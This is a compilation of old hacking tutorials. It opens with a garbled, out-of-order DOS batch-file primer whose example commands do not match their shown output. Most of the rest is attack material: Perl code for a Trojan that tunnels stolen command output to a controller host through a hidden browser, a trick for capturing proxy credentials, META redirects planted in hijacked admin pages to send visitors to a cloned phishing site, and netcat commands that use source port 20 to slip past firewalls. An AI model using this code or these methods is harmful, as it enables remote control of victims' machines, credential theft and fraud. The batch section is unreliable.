ECHO: The Batch Printing Tool

The ECHO command is used for what the Print command is in other
programming languages: To Display something on the screen. It can be
used to tell the user what the bath file is currently doing. It is true
that Batch programs display all commands it is executing but sometimes
they are not enough and it is better to also insert ECHO commands
which give a better description of what is presently being done. Say for
example the following batch program which is full of the ECHO
command deletes all files in the c:\windows\temp directory:
ECHO This Batch File deletes all unwanted Temporary files from your
system ECHO Now we go to the Windows\temp directory.
cd windows\temp
ECHO Deleting unwanted temporary files....
del *.tmp
ECHO Your System is Now Clean
Now let's see what happens when we execute the above snippet of batch
code.
C:\WINDOWS>batch_file_name
C:\WINDOWS>ECHO This Batch File deletes all unwanted Temporary
files from your
system
C:\WINDOWS>ECHO Now we go to the Windows\temp directory.
Now we go to the Windows\temp directory.
C:\WINDOWS>cd windows\temp
Invalid directory
C:\WINDOWS>ECHO Deleting unwanted temporary files
Deleting unwanted temporary files...
C:\WINDOWS>del *.tmp
C:\WINDOWS>ECHO Your System is Now Clean
Your System is Now Clean
The above is a big mess! The problem is that DOS is displaying the
executed command and also the statement within the ECHO command.
To prevent DOS from displaying the command being executed, simply
precede the batch file with the
following command at the beginning of the file:

Telnet

The only thing to keep in mind while using Remarks is to not go
overboard and putting in too many of them into a single program as they
tend to slow down the execution time of the batch commands.

The REM Command

The most simple basic Batch file command is the REM or the Remark
command. It is used extensively by programmers to insert comments into
their code to make it more readable and understandable. This command
ignores anything there is on that line. Anything on the line after REM is
not even displayed on the screen during execution. It is normally not
used in small easy to understand batch programs but is very useful in
huge snippets of code with geek stuff loaded into it. So if we
add Remarks to out first batch file, it will become:
REM This batch file is my first batch program which launches the fav
hacking
tool; Telnet

Batch File Programming

Batch file programming is nothing but the Windows version of Unix Shell
Programming. Let's start by understanding what happens when we give a
DOS command. DOS is basically a file called command.com
It is this file (command.com) which handles all DOS commands that you
give at the DOS prompt---such as COPY, DIR, DEL etc. These
commands are built in with the Command.com file. (Such commands which
are built in are called internal commands.).DOS has something called
external commands too such as FORMAT,
UNDELETE, BACKUP etc.
So whenever we give a DOS command either internal or external,
command.com either straightaway executes the command (Internal
Commands) or calls an external separate program which executes the
command for it and returns the result (External Commands.)
So why do I need Batch File Programs? Say you need to execute a set
of commands over and over again to perform a routine task like Backing
up Important Files,Deleting temporary files(*.tmp, .bak , ~.* etc)
then it is very difficult to type the same set of commands over and over
again. To perform a bulk set of same commands over and over again,
Batch files are used. Batch Files are to DOS what Macros are to
Microsoft Office and are used to perform an automated predefined set
of tasks over and over again.
So how do I create batch files? To start enjoying using Batch files, you
need to learn to create Batch files. Batch files are basically plain text
files containing DOS commands. So the best editor to write your
commands in would be Notepad or the DOS Editor (EDIT) All you need
to remember is that a batch file should have the extension .BAT(dot
bat)Executing a batch file is quite simple too. For example if you create
a Batch file and save it with the filename
batch.bat then all you need to execute the batch file is to type:
C:\windows>batch.bat
So what happens when you give a Batch file to the command.com to
execute?
Whenever command.com comes across a batch file program, it goes into
batch mode. In the batch mode, it reads the commands from the batch
file line by line. So basically what happens is, command.com opens the
batch file and reads the first line, then it closes the batch file. It then
executes the command and again reopens the batch file and reads the
next line from it. Batch files are treated as Internal DOS commands.
*********************
Hacking Truth: While creating a batch file, one thing that you need to
keep in mind is that the filename of the batch file should not use the
same name as a DOS command. For example, if you create a batch file
by the name dir.bat and then try to execute it at the prompt, nothing
will happen.This is because when command.com comes across a command,
it first checks to see if it is an internal command. If it is not then
command.com checks if it a .COM, .EXE or .BAT file with a matching
filename.All external DOS commands use either a .COM or a .EXE
extension, DOS never bothers to check if the batch program exits.
*********************
Now let's move on to your first Batch file program. We will unlike
always(Normally we begin with the obligatory Hello World program) first
take up a simple batch file which executes or launches a .EXE program.
Simply type the following in a blank text file and save it with a .BAT
extension.
C:
cd windows
telnet
Now let's analyze the code, the first line tells command.com to go to
the C:Next it tells it to change the current directory to Windows. The
last line tells it to launch the telnet client. You may contradict saying
that the full filename is telnet.exe. Yes you are right, but the .exe
extension is automatically added by command.com. Normally we do not
need to change the drive and the directory as the Windows directory is
the default DOS folder. So instead the bath file could simply contain
the below and would still work.
telnet
Now let's execute this batch file and see what results it shows. Launch
command.com (DOS) and execute the batch file by typing:
C:\WINDOWS>batch_file_name
You would get the following result:
C:\WINDOWS>scandisk
And Scandisk is launched. So now the you know the basic functioning of
Batch files, let' move on to Batch file commands.

Trojans (added 2001/09)

If you are reading this guide, you most prolly have heard of Trojans like Back Orifice , NetBus , Sub7 and the likes. And you prolly know that you connect to these Trojans on certain ports (with some you can even spec the port). This is all nice and neat when you are running a Trojan on a host that is not fire walled. Thing is – hosts that are not fire walled is rarely interesting. What you want is a Trojan on the inside of a network – in the core of a network. Let us assume that your victim is sitting on an unrouted network (10,172.16 or 192.168 net), with proxy firewall and a NAT router in front of it. How do you connect to your Trojan?

Well – you don’t. There is just no way that your packet is going to reach a host on the inside of a properly fire walled network – not even if it is an UDP packet on a super high port – just forget it. So the Trojan writers have come up with some interesting ways to “control” their Trojans. The Trojan could possibly connect out from the network, and register itself on an IRC channel. By chatting to the “robot” you can now control the actions of the Trojan. The same is done with ICQ. This is sweet & all, but what do you do when the user (on the internal network) is not allowed to IRC or ICQ (which is the case on many networks)?

Let think about the problem for a bit. You need a way to communicate with the Trojan – you need to send data to it, and receive data from it. Somehow you got to get info from the host, and send data to the host. In a tightly filtered, fire walled network – what goes in and out of the network? Let’s think – a user in such a network – how does the user communicate with the outside world? What applications does the user use? Email for one. Browsing. For sure – most employees can browse the net. Lets concentrate on HTTP for now. Email has some nasty problems.

HTTP is made up of two parts – a request and a reply. The request is made at the client, and the reply is send from the webserver. No matter how complex the setup with proxies, content filters, virus scanners, NAT, firewalling, the browser makes an HTTP request and the server replies with a reply. In between the client and the server a lot can happen. A firewall might check that the request is really a HTTP request and that the response is a valid HTTP reply – but still – data is send and received (inside the HTTP spec). Thus – if the Trojan sends data within a HTTP request and the server sends data in a HTTP reply we got two-way communication.
HTTP is not without problems. The Trojan needs to make the connection to a host. A normal HTTP request could look like this:

GET /data HTTP/1.0
This is fine when not using a proxy. But (as has been shown earlier) if you use a proxy then the request looks like this:

GET http://server.com/data HTTP/1.0
Thus – the Trojan must detect if a proxy is configured – if so – it needs to get the address of the proxy, make the connection to the proxy, and alter the HTTP request so that the proxy knows where to connect to. How do we know if we should use a proxy – well – it’s a setting in the registry. Hereby part of a PERL script that will do just that:

$string="regedit -a c:\\reg.txt “."\"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\"";
@no=`$string`;
if (open (REG,"c:\\reg.txt")){;
while (<REG>){
if ($_ =~ /ProxyEnable/) {
if ($_ =~ /1/) {$proxy=1;}
}
if ($_ =~ /ProxyServer/){
($duh,$proxystring)=split(/\=/,$_);
$proxystring=~s/\"//g;
($proxyserver,$proxyport)=split(/:/,$proxystring);
chomp $proxyserver; chomp $proxyport;
print STDOUT "[proxyserver = $proxyserver, port = $proxyport]\n";
}
}
}
if ($proxy==1) {
print "We have a proxy\n";
$host=$proxyserver; $port=$proxyport;
} else {
print "No proxy\n";
$host=$myhost; $port=$myport;
}
Another problem with HTTP is encoding – special character have the tendency to get buggered if transmitted without being encoded first. No problem – we just encode the request and the reply in hex. No doubt others will quickly find ways to build basic compressions into this as well – but hereby a PERL script that will encode a string as needed (this only the request – the reply is exactly the same):

$response =~ s/(.)/(sprintf("%%%x",ord($1)))/ge;
$response =~ s/([\n])/(sprintf("%%%x",ord($1)))/ge;
On the other end – the response is decoded:
@hexit=split(/\%/,$data);
foreach $char (@hexit){printf("%c",hex($char));}

So – building a client/server is not that difficult. Lets look at the process:
• Victim executes the Trojan code
• Trojan queries registry to see if there is a proxy configured
• Trojan send a HTTP request (via proxy or direct) to the “controller”, stating that it is “alive”.
• Controller process accepts the HTTP request, prompts the controller for a command.
• Command is entered, encoded, and encoded in a HTTP reply.
• Trojan gets the reply, decodes the command and executes it.
• Trojan gets the output of the command, encodes it, and encodes it into the next HTTP request.
• Process repeats
This tends to work fine…excepts (always) when the proxy is using User Authentication. See, then the request needs to contain User Authentication information, and we no way to know this piece of information. Request without authentication information is simply not passed along to the “server”. So…now what?

We can control the registry. The proxy settings are stored in the registry. How about we change the proxy – just for a while – so it point to a process that is under the control of the Trojan (setting it to localhost)? Clearly the username and password will be passed to us then? And after we have this, we simply point the proxy setting back to the original proxy. This would mean that the first time our Trojan fires up, the user will be prompted for a username and password, but most users do this without thinking about it twice. After this, we have the username and the password, and the requests that the Trojan makes could contain the Authentication information. Neatish, but really not elegant enough.

What if we control the browser? Microsoft has this cool thing called OLE, and it is used to control applications with other external programs (that how apps gets their help files in your browser). An external process can start a browser, surf the net and do just about anything. And it can do it without showing a browser to the user on the screen – it runs in the background. So the idea would be to let the Trojan control the browser, to let the browser surf for example “http://controller/<output of command, encoded>”. But how do we get the command to execute back? See – it would be fine if we can “surf” a page that contains the next command, and save the output of the “webpage” to a file. The file would contain the next command to execute, and the subsequent request would be the output of that command. But the Microsoft guys aren’t that stupid – the only browser function that cannot be controlled with OLE is “Save to disk”. So how do we get the next command? Luckily the browser displays the title of a webpage as the browser window title. And the title can be read with OLE. So – we only need to send the command (encoded) as the title of the reply. Confused? OK – lets do it slowly.
On the client (Trojan) side we start an “invisible browser”:
my $ie = Win32::OLE->new('InternetExplorer.Application');
$ie->{Visible} =0;

After encoding the output (of the previous command) we let the browser surf there with OLE:
$ie->Navigate("http://$host:$port/$response");
In the above case, $host and $port will be that of the “controller” process. We don’t have to worry about proxies and authentication – the browser that we control runs with the properties of other normal browsers.

At the controller side, we get the request, decode it and display it:
#getting the answer from trojan
while (<NS>) {
$getin=$_;
if ($getin =~ /GET/){
#decode it
@hexit=split(/\%/,$getin);
foreach $char (@hexit){
printf("%c",hex($char));
}
goto outofit
}
}
Now – at the controller – we prompt the controller for the new command, encode it, and put it in the title of the returned “webpage”:
#encode command
$command =~ s/(.)/(sprintf("x%x",ord($1)))/ge;
$command =~ s/([\n])/(sprintf("x%x",ord($1)))/ge;
####Build HTTP response
$xtosend=<<EOT
HTTP/1.1 200 OK^M
Server: Microsoft-IIS/4.0^M
Date: Tue, 01 Apr 2000 00:00:00 GMT
Content-Type: text/html
<title\>$command\$\<\/title\>
EOT
;
$xtosend=~s/\n/\r\n/g;
print NS $xtosend;
As can be seen – the encoded response (.the new command) is contained in the title of the page. Nice how we respond like we are an IIS server version 4. Oh, and note the date.
At the Trojan side we now have to extract the title from the “browser” with OLE. With OLE we can even check if the “browser” is finished downloading our reply:
#wait to download complete..
for (;;){
sleep 2;
if ($ie->{Busy} == 0) {last;}
}
#get the new command -its in the location field..
$com=($ie->{LocationName});
And that is that. No worries about proxies or authentication. With this example we used a “command”, but it would work fine for any form of communication. What I am saying is that you could have a Trojan like Subseven using this form of communication. What I explained is just a medium – what you put on top of this is entirely up to you. A note – there is obviously a limit to the amount of data that you transmit with every request/reply. A GET request is limited to 256 bytes of data, and the size of a titlebar is also limited. Normally the data transmitted from the controller to the Trojan is minimal; it’s the data from the Trojan to the client that can get bulky (like watching the webcam’s feed). A way to get past this problem is to use POSTs and not GETs (some firewalls might block POSTs) or to use multiple requests. To make it a reliable communication medium one would prolly have to put checksums and timestamps on the requests and the replies (and remember to compress a bit) – but this is just implementation issues. Another implementation issue is that of caching. If the Trojan requests the same URL (and a caching proxy is used) the cache will reply, and the controller will never get the request. Adding a random number to the request and reply solves this problem. Oh, and you wouldn’t want to code the Trojan in PERL .

Another way to transport data to and from a Trojan is via DNS request and replies. A request to unknown.sensepost.com ends up at the name server for sensepost.com, no matter how. And the name server for Sensepost.com could reply with a CNAME of “notunknown.Sensepost.com”. And that reply gets to whoever made the request. It does not matter how many name servers passed it on. With DNS requests things gets a little hairy – DNS use UDP as transport, and UDP is not very reliable. Checksums, and packet-stamps are not optional. The problem with this method is that clients in tight firewalled network rarely get to do DNS requests. Normally they connect to their proxy, and the proxy does the actual request.

ICMP ping packets can also be used as a transport mechanism. Embedding the request in the “payload” of the ping request packet and getting the response back in embedded in the response ping packet have been shown to work in environments where ping is allowed to enter and leave a network. Again – in tightly fire walled networks ICMP is rarely allowed to enter or leave.
The bottom line – Trojans where you have to connect to the Trojan is ancient. It works in very limited environments. The first thing to alter is to get the Trojan to connect to the controller – the second is to find a communication media that will work even from non-routed networks. HTTP looks as though it could do the thing.

HTTP - Redirects

We have been concentrating a lot on webservers - like said earlier in this
document, there is an abundance of webservers out there, and they are been
used in more and more situations. Another neat trick is using HTTP
redirects. Many webservers have customized management pages "hidden"
somewhere on the same site. Typically these are developed by the same people
that developed the main site, and are used by the owners of the webpage to
facilitate updating of news snippets, tickers and "new bargain offerings".
In most cases these pages consists of a login page and a pages where the
administrator can change the site content - served after login have
occurred.
Once the backend management page has been found, (see HTTP section – data
mining) and the administrator's username and password has been cracked (see
HTTP - basic authentication or web-based login) you should be in a position
to add, alter or delete items. In most cases the description of these items
(be that a product description, news item, or special offering) is HTML
sensitive. This means it could read like this: <h1> Big savings </h1>. While
this in itself is harmless (unless you want write a note in extra large,
blinking letters about the site's security) it does have potential for
interesting use. By changing the description to an HTTP-redirect you could
redirect clients to a completely different site. An HTTP-redirect looks like
this:
<META HTTP-EQUIV=REFRESH CONTENT=0;URL=http://www.sensepost.com>
Obviously you will have to change the URL unless you want to redirect
visitors to our website. Although this is a quick way to do a complete
deface of a site it should be used for more interesting activities. You
might want to completely copy the "target" website to your server, and
direct customers to a slightly modified copy. The copy would of course mine
customer details and send forms to the real server - it would appear totally
transparent to the casual netizen. The copy could also contain some nasty
content level attacks - remember Brown Orifice(August 2000)?

Network level attack - Source port 20,53

Some of the ancient firewalls and lousy implemented screening routers have a
problem with dealing with FTP reverse connections. For those that does not
know how it works - a normal (active) FTP session works like this. The FTP
client makes a connection from a random port to port 21 on the FTP daemon.
This is the control connection. As soon as you type "ls" or "get" or "put" a
secondary connection (the data connection) is needed. This connection is
made from the FTP server with a source port of 20 to a port on the client.
The client using the FTP native PORT command specifies the destination port
of the reverse connection. As such the client's firewall needs to allow
connection from source port 20 to (high) destination ports in order for the
reverse data connection to be made. With state ful inspection firewalls the
firewall will monitor (sniff) the initial outgoing (control connection)
packets. When it sees the PORT command, it will automatically open the
packet filters to allow the reverse connection to the client on the port
that it specified (this is the source of much mischief - spoofing such PORT
commands could be used to fool the firewall to open up a port on an IP
number that it is not suppose to). Firewalls that do not make use of
stateful inspection have a problem with these reverse connections. If we can
change our source port to 20 we could bypass the filters and connect to an
IP on a high port. How? Using netcat:
> nc -n -p 20 -v 196.38.xxx.251 1024
(UNKNOWN) [196.38.xxx.251] 1023 (?) : Operation timed out
> nc -n -p 20 -v 196.38.xxx.251 1025
(UNKNOWN) [196.38.xxx.251] 1025 (?) : Connection refused
As can be seen from this example - when we connect to a port <= 1024 we hit
the packet filter. Trying ports > 1024 we are bypassing the filter (although
there is nothing running on port 1025. What is the use then - nothing runs
on ports > 1024. Wrong. MS-SQL runs on 1443, IRC on 6667, some Cisco
configurations on 2001,3001, Squid on 3128, and a lot of proxies on
1080,8080 etc. So let us assume that we want to access an MS-SQL box sitting
behind a crappy firewall that allows connection with source port 20. How do
we put it all together? Netcatagain:
> cat > go.sh:
#!/bin/sh
/usr/local/bin/nc -p 20 -n victim 1433
^D
> nc -l -p 1433 -e go.sh
Hit your own machine with Microsoft SQL Enterprise Manager.
This is just about straight from the net cat documentation - so be sure to
read it as well. go.shis execute when the SQL manager hit port 1433; it
makes a connection to the victim using source port 20.
For applications that use multiple connections (such as HTTP) you will need
to have ncin a loop - so that it fires off a new instance of go.shfor
every new connection. As this is explained in the net cat docs I will not
repeat it here.
In exactly the same way you could experiment with source port 53 - (DNS zone
transfers). Also keep in mind that we are only taking about TCP here - think
about DNS...source port 53 to high ports using UDP, and NFS running on port
2049...get creative!